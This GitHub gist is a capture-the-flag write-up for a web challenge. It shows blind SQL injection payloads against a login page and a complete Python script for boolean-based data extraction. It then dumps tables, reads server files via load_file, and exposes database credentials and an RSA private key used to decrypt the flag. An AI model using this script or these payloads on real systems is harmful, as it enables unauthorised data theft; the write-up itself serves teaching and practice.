Skip to content

Instantly share code, notes, and snippets.

@h3xstream
Last active November 8, 2023 20:48
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save h3xstream/3bc4f264cc911e37f0d6 to your computer and use it in GitHub Desktop.
Save h3xstream/3bc4f264cc911e37f0d6 to your computer and use it in GitHub Desktop.
GoSecure CTF - Web 200 pts writeup

Starting at the URL http://web200.gosec.net:7721, we can see a login page for a dating site.

login

Small oracle

It is possible to identify that the user admin exists because we get two distinct error messages.

Invalid user:

invalid user

Valid user but invalid password:

invalid password

Finding the injection

The following query produce the same error as using admin user.

?u=admi%27|%27n&p=123

We can then introduce a boolean condition to extract data from tables.

?u=admi%27|if(1=1,'n','777')|%27&p=123 give 'Invalid password cannot find hot mom.'

?u=admi%27|if(1=2,'n','777')|%27&p=123 give 'Invalid username cannot find hot mom.'

~

One important detail that we notice while testing for injections, spaces are either removed or blacklisted.

Scripting data exfiltration

Having no efficient SQLi script on hand, we decide to write a quick one:

import requests
from requests.auth import HTTPBasicAuth
import sys
from bs4 import BeautifulSoup

session = requests.Session()

def test(input):

    query = "?u=admi%27|if("+input+",'n','777')|%27&p=123"
    headers = {"Accept-Encoding": "gzip, deflate",
               "Accept-Language": "en-US,en;q=0.5",
               "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0",
               "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Connection": "keep-alive"}
    response = session.get("http://web200.gosec.net:7721/"+query, headers=headers,
                           auth=HTTPBasicAuth("web200", "23Gu0ceE4ZebTZa"))

    bs = BeautifulSoup(response.text.replace("</br />",""))
    form_section = bs.findAll('div', {"class": "error"}) #Error message
    t = form_section[0]
    return ("Invalid password" in str(t))

def brute_force_expr(expr):
    ch_i=1
    ascii_i=40 #45
    word = ""
    while True:
        found_char=False
        while(ascii_i<160): #96+26
            res = test("ascii(substring(("+expr+"),"+str(ch_i)+",1))="+str(ascii_i))
            if(res):
                word += chr(ascii_i)
                print "Found (",ch_i,") ",chr(ascii_i)," - ",word
                found_char = True
                break
            ascii_i+=1

        if(not found_char):
            print "No char at index ",ch_i," .. ending string construction.."
            break

        ascii_i = 1
        ch_i+=1
    return word

print brute_force_expr(sys.argv[1].replace(" ","/**/")) #Replacement fix the spaces problem!

Basic usage goes as follow:

$ python web200.py "select @@version"
Found ( 1 )  5  -  5
Found ( 2 )  .  -  5.
Found ( 3 )  5  -  5.5
Found ( 4 )  .  -  5.5.
Found ( 5 )  3  -  5.5.3
Found ( 6 )  7  -  5.5.37
Found ( 7 )  -  -  5.5.37-
Found ( 8 )  0  -  5.5.37-0
Found ( 9 )  +  -  5.5.37-0+
Found ( 10 )  w  -  5.5.37-0+w
Found ( 11 )  h  -  5.5.37-0+wh
Found ( 12 )  e  -  5.5.37-0+whe
Found ( 13 )  e  -  5.5.37-0+whee
Found ( 14 )  z  -  5.5.37-0+wheez
Found ( 15 )  y  -  5.5.37-0+wheezy
Found ( 16 )  1  -  5.5.37-0+wheezy1
No char at index  17  .. ending string construction..
5.5.37-0+wheezy1

Dumping the database

After dumping the tables and columns, we extract the admin password.

$ python web200.py "select password from users limit 0,1"
[...]
aWzode4/Rbdd51trYTrWPFG/nq5yOPZg+A7Jh+OdMlKuCwJW7F+hByRisBsjTzeB67WGTyifOJwUEAo16FarJkYMDJh4TbG5wvIvg3ZWx89gbbVCnF7jN71KgPVtV+t5rcN9iLbz6QDy3UVsjnjq0uk57mMC2ANjNMl5QkCatfE=

Exfiltration of files

We can fetch the source of code of /var/www/index.php by evaluating the expression select load_file('/var/www/index.php'). The read operation is possible because the SQL queries are runned with the user root.

<?php
$error = null;
$success = null;

if(isset($_GET['u']) && isset($_GET['p'])) {
        $link = mysql_connect('127.0.0.1', 'root', 'XyEN85vx7ZK2MmZ');
        $username = str_replace(' ', '', urldecode($_GET['u'])); // bug fix
        mysql_select_db('login', $link);
        $result = mysql_query('SELECT * FROM users WHERE username = (\'' . $username . '\')');

        if(mysql_num_rows($result) == 0) {
                $error =  'Invalid username cannot find hot mom.';
        } else {
                while(($row = mysql_fetch_assoc($result))) {
                        $key = GetKey('/askldjlkeasulawe/key.private');
                        openssl_private_decrypt(base64_decode($row['password']), $output, openssl_get_privatekey($key));

                        if(trim($output) == $_GET['p']) {
                                $success = true;
                        } else {
                                $error = 'Invalid password cannot find hot mom.';
                        }
                }
        }
}

function GetKey($path) {
        $fd = fopen($path,"r");
        $output = fread($fd, 8192);
        fclose($fd);
        return $output;
}
?>
<!DOCTYPE html>
[...]

Based on the source of the index.php, we look for the RSA key located at /askldjlkeasulawe/key.private.

-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQC1CL8cDO5zDlQnww5n378N4Azh0ilEmCEZy1upB6sZykWOxyjG
BmojDYe/LWtqmar9Rx4kSeYs16r334Xu7w9OOupFck0otGdFRM3+kCAj839fKTZS
5b6aAGySPSROeJNxvlrFbLFWbBc1DyZxhofBLitirgUdKEoXbzmeZvAz4QIDAQAB
AoGAeIipTdDiVqLcr1i0175mo6NgkF5wcaZkq5r1nXZompRNecHqyOZudoZEsqpY
EbLc4SQf0oONiJ/TypP9xddPtWP7ef/FJoa29FLXDCpFmZeO6N8sYBgqOj57MzUB
UDdFFcBpfYwC+CN7mgN8bMyusVyjktI41Zccu5qSOsKzAJECQQDpDjVm+FMVUdKl
E81r92/90XnE5xkqL+sO/lHWtqKp4b4lcyrAYIf7Uh2tKGLET7ezqcMshI6l3xMu
EdaNiEV9AkEAxttsXRLFoRHf5q3HFZZNaX5rQtlw6b7EAz1k7olI+5Xkfpup9wzo
kZ0xn+uZTz/McZnQtNtS5Y3eDDzFMqXlNQJATgYwwMGAZ1HWeOfRTUUw3EQmRVKt
bR9Pzdw9H+pTORbXpwgQlwl6XRyXzOIJdvnNYbwDGMNkUooFjNXyA75MrQJAdYIe
Q9We8TJF0+OmvEvoDMnGimdBgO7Yl22FIiv/86M8tdA4nKOFHt77/xtSqfDyV8Lk
AKuGDd5Kc4LJqMc9bQJAZBtVs2DDiJFvPiNhkP2l7LD064x806IaUXeZaYCsSuNM
eZ0EFbn41y7L2oHJlaFrosHMv/gArr4EinLbuNYoLg==
-----END RSA PRIVATE KEY-----

Final decryption

It is now possible to reproduce the decryption of the pasword..

<?php
function GetKey() {
        return "-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQC1CL8cDO5zDlQnww5n378N4Azh0ilEmCEZy1upB6sZykWOxyjG
BmojDYe/LWtqmar9Rx4kSeYs16r334Xu7w9OOupFck0otGdFRM3+kCAj839fKTZS
5b6aAGySPSROeJNxvlrFbLFWbBc1DyZxhofBLitirgUdKEoXbzmeZvAz4QIDAQAB
AoGAeIipTdDiVqLcr1i0175mo6NgkF5wcaZkq5r1nXZompRNecHqyOZudoZEsqpY
EbLc4SQf0oONiJ/TypP9xddPtWP7ef/FJoa29FLXDCpFmZeO6N8sYBgqOj57MzUB
UDdFFcBpfYwC+CN7mgN8bMyusVyjktI41Zccu5qSOsKzAJECQQDpDjVm+FMVUdKl
E81r92/90XnE5xkqL+sO/lHWtqKp4b4lcyrAYIf7Uh2tKGLET7ezqcMshI6l3xMu
EdaNiEV9AkEAxttsXRLFoRHf5q3HFZZNaX5rQtlw6b7EAz1k7olI+5Xkfpup9wzo
kZ0xn+uZTz/McZnQtNtS5Y3eDDzFMqXlNQJATgYwwMGAZ1HWeOfRTUUw3EQmRVKt
bR9Pzdw9H+pTORbXpwgQlwl6XRyXzOIJdvnNYbwDGMNkUooFjNXyA75MrQJAdYIe
Q9We8TJF0+OmvEvoDMnGimdBgO7Yl22FIiv/86M8tdA4nKOFHt77/xtSqfDyV8Lk
AKuGDd5Kc4LJqMc9bQJAZBtVs2DDiJFvPiNhkP2l7LD064x806IaUXeZaYCsSuNM
eZ0EFbn41y7L2oHJlaFrosHMv/gArr4EinLbuNYoLg==
-----END RSA PRIVATE KEY-----";
}

$password = "aWzode4/Rbdd51trYTrWPFG/nq5yOPZg+A7Jh+OdMlKuCwJW7F+hByRisBsjTzeB67WGTyifOJwUEAo16FarJkYMDJh4TbG5wvIvg3ZWx89gbbVCnF7jN71KgPVtV+t5rcN9iLbz6QDy3UVsjnjq0uk57mMC2ANjNMl5QkCatfE=";


$key = GetKey();
openssl_private_decrypt(base64_decode($password), $output, openssl_get_privatekey($key));

echo trim($output);
?>

The flag is output : FLAG-wBGc5g147MuVQuC28L9Tw8H8HF

Credits: l33tb33s Team (madmantm, h3xstream, 0xquad, ldionmarcil, mcw, tito)

@ekse
Copy link

ekse commented Sep 28, 2014

good job, en passant on pouvait récupérer le code source en faisant une requête pour index.phps :)

@h3xstream
Copy link
Author

@ekse Cool 👍
Ça m'aurait sauver un bon trente minutes (voir algo pas très efficace)

@OlivierLaflamme
Copy link

Cool 👍ringzer0 ima get that hot single mom

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment